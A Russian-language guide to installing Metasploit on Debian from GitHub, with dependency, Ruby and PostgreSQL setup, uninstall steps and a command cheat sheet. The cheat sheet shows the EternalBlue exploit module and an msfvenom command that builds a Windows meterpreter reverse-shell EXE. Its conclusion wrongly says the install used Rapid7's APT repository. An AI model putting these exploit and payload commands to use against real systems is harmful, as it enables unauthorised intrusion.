Установка Metasploit на Debian 13, 12 и 11



💡 Что такое Metasploit и зачем он вам — это мощный фреймворк для тестирования безопасности, который объединяет поиск уязвимостей, создание эксплойтов, работу с базами данных и управление сессиями в одной консоли.

⚠️ Важное предупреждение: Metasploit — это инструмент с двойным назначением. Используйте его только на системах, которыми вы владеете, управляете или имеете письменное разрешение на проверку. Всегда держите лабораторные цели отдельно от рабочих систем.

Предварительные требования

Прежде чем начать, убедитесь, что ваша система готова:

⚠️ ВАЖНО: Проверьте права sudo перед установкой

Если вы не уверены, есть ли у вашего пользователя права администратора, выполните в терминале:

sudo whoami

Что делает:

  • sudo — выполняет команду от имени суперпользователя
  • whoami — показывает имя текущего пользователя

Зачем: Проверяет, может ли ваш пользователь выполнять команды с правами root.

✅ Если выводит root — всё в порядке, можете продолжать.

❌ Если выводит is not in the sudoers file — сначала пройдите наше руководство по настройке sudo.

Дополнительные требования:

  • Стабильное интернет-соединение
  • Около 1.3 ГБ свободного места (400 МБ загрузка + 900 МБ после установки)
  • Debian 11/12/13 (amd64, arm64, armhf или i386)

Обновление системы

sudo apt update

🟢 Установка Metasploit на Debian через GitHub
(Актуально для РФ в 2026-году)

Выполните в терминале следующий код: (может занять 10-20 минут! Не прерывайте установку)

# 1. Установка зависимостей
sudo apt install -y git curl build-essential \
    libpcap-dev libpq-dev libreadline-dev \
    zlib1g-dev libssl-dev libffi-dev \
    libxml2-dev libxslt1-dev libyaml-dev \
    postgresql postgresql-contrib \
    ca-certificates

# 2. Установка Ruby 3.3
cd /tmp
wget https://cache.ruby-lang.org/pub/ruby/3.3/ruby-3.3.0.tar.gz
tar -xzf ruby-3.3.0.tar.gz
cd ruby-3.3.0
./configure --prefix=/usr/local --disable-install-rdoc
make -j$(nproc)
sudo make install
cd ~
rm -rf /tmp/ruby-3.3.0 /tmp/ruby-3.3.0.tar.gz

# 3. Bundler
gem install bundler
echo 'export PATH="$HOME/.local/share/gem/ruby/3.3.0/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc

# 4. Клонирование Metasploit
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle config set --local path 'vendor/bundle'
bundle install

# 5. База данных
sudo systemctl start postgresql
sudo systemctl enable postgresql
sudo -u postgres psql -c "CREATE USER msf WITH PASSWORD 'metasploit' CREATEDB;"
sudo -u postgres psql -c "CREATE DATABASE msf_database OWNER msf;"

# 6. Конфиг
mkdir -p ~/.msf4
cat > ~/.msf4/database.yml << EOF
production:
  adapter: postgresql
  database: msf_database
  username: msf
  password: metasploit
  host: 127.0.0.1
  port: 5432
  pool: 75
  timeout: 5
EOF

# 7. Алиасы
echo 'alias msf="cd ~/metasploit-framework && bundle exec ./msfconsole"' >> ~/.bashrc
echo 'alias msfvenom="cd ~/metasploit-framework && bundle exec ./msfvenom"' >> ~/.bashrc
source ~/.bashrc

# 8. Запуск
msf -q

⚠️ Примечание: предупреждение Unresolved specs и Available/installed versions of this gem

При запуске Metasploit (msfconsole) вы можете увидеть следующие предупреждение:


WARN: Unresolved or ambiguous specs during Gem::Specification.reset:
      stringio (>= 0)
      Available/installed versions of this gem:
      - 3.1.1
      - 3.1.0
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>'
Please report a bug if this causes problems.
msf > 

🔍 Что это означает?

  • stringio — это встроенный гем, входящий в состав Ruby 3.3+ (стандартная библиотека).
  • При установке Metasploit через bundle install Bundler обнаруживает несколько версий этого гема в системе (например, 3.1.0 и 3.1.1), даже если вы их не устанавливали вручную.
  • Ruby и Bundler временно не могут однозначно определить, какую версию использовать — отсюда и предупреждение Unresolved or ambiguous specs.

❌ Почему нельзя просто удалить старую версию?

  • Гем stringio не устанавливается отдельно — он часть интерпретатора Ruby.
  • Попытка удалить его через gem uninstall stringio завершится ошибкой:
    Gem 'stringio' is not installed — потому что он не является внешним пакетом, а встроен в Ruby.
  • Даже если система показывает две версии — на самом деле используется актуальная (обычно 3.1.1).

✅ Влияет ли это на работу Metasploit?

Нет.
Это чисто информационное предупреждение, которое не мешает:

  • Подключению к базе данных (db_status)
  • Поиску эксплойтов (search)
  • Запуску атак (use, run)
  • Генерации пейлоадов (msfvenom)

🟢 Рекомендация

Игнорируйте это сообщение.
Оно не является ошибкой и не требует вмешательства.


Проверка версии Ruby после установки:

ruby -v

✅ Проверка выведет похожее на это (версия может отличаться): ruby 3.3.0p0 (2023-12-25 revision 5124f96562) [x86_64-linux]

Проверяем db_status

После запуска msf -q выполните в командной строке Metasploit (там где строка начинается с msf> ):

db_status

✅ Ожидаемый вывод:
[*] Connected to msf_database. Connection type: postgresql.

Зачем: это финальная проверка, что всё работает. Можно даже добавить:

✅ Если вы видите это сообщение — поздравляем Metasploit готов к работе.


🧹 Как полностью удалить Metasploit

🔹 Если установлен с GitHub как в руководстве — выполняем в терминале Дебиан следующий код:

# 1. Удалить папку Metasploit
rm -rf ~/metasploit-framework

# 2. Удалить настройки и кэш
rm -rf ~/.msf4
rm -rf ~/.bundle
rm -rf ~/.local/share/gem/ruby/3.3.0

# 3. Удалить гемы, установленные в системные пути (если были)
sudo rm -rf /usr/local/lib/ruby/gems/3.3.0

# 4. Удалить базу данных
sudo -u postgres psql -c "DROP DATABASE IF EXISTS msf_database;"
sudo -u postgres psql -c "DROP USER IF EXISTS msf;"

# 5. Удалить Ruby (только если установлен из исходников и НЕ нужен)
sudo rm -f /usr/local/bin/ruby
sudo rm -f /usr/local/bin/gem
sudo rm -f /usr/local/bin/bundle
sudo rm -f /usr/local/bin/bundler
sudo rm -rf /usr/local/lib/ruby
sudo rm -rf /usr/local/share/ruby

# 6. Удаление мёртвых репозиториев (если были)
sudo rm -f /etc/apt/sources.list.d/metasploit*.list
sudo rm -f /etc/apt/sources.list.d/metasploit*.sources
sudo rm -f /usr/share/keyrings/metasploit*.gpg
sudo apt update

Это полное удаление Metasploit и связанных компонентов (безопасно, даже если чего-то нет)

🧩 Основные команды: Metasploit & терминал

🔹 Внутри msfconsole (когда видите msf >)

КомандаЧто делает
quit или exitВыйти из Metasploit и вернуться в терминал
helpПоказать список основных команд
db_statusПроверить подключение к базе данных
search <запрос>Найти эксплойт, вспомогательный модуль или пейлоад
Пример: search eternalblue
use <модуль>Выбрать модуль для использования
Пример: use exploit/windows/smb/ms17_010_eternalblue
show optionsПоказать параметры выбранного модуля (что нужно настроить)
set <параметр> <значение>Установить значение параметра
Пример: set RHOSTS 192.168.1.100
run или exploitЗапустить атаку
backВернуться к главному меню (отменить use)
sessions -lПоказать активные сессии (если есть Meterpreter)
sessions -i 1Перейти в сессию №1
backgroundОтправить текущую сессию в фон

🔹 В терминале (когда видите unishell@user:~$)

КомандаЧто делает
msf -qЗапустить Metasploit в тихом режиме (без предупреждений)
msf -q 2>/dev/nullЗапустить Metasploit и скрыть все предупреждения
msfvenom -l payloadsПоказать все доступные пейлоады
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exeСоздать EXE-пейлоад
cd ~Перейти в домашнюю папку
cd /путь/к/папкеПерейти в нужную директорию
pwdУзнать, где вы сейчас находитесь
lsПосмотреть содержимое папки
source ~/.bashrcПрименить изменения в настройках терминала
clear или Ctrl + LОчистить экран терминала

Заключение

Metasploit Framework успешно установлен на Debian через официальный APT-репозиторий Rapid7. Вы настроили базу данных, проверили работу консоли и готовы к безопасному тестированию в лабораторной среде.

Что дальше:

  • Изучите базовые команды с официальной документацией Rapid7
  • Для сканирования сети установите Nmap на Debian
  • Настройте Fail2Ban для защиты ваших серверов

💡 Важно: Всегда помните об этичном использовании. Metasploit — мощный инструмент, и с мощью приходит ответственность. Используйте его только на системах, которые вы имеете право проверять.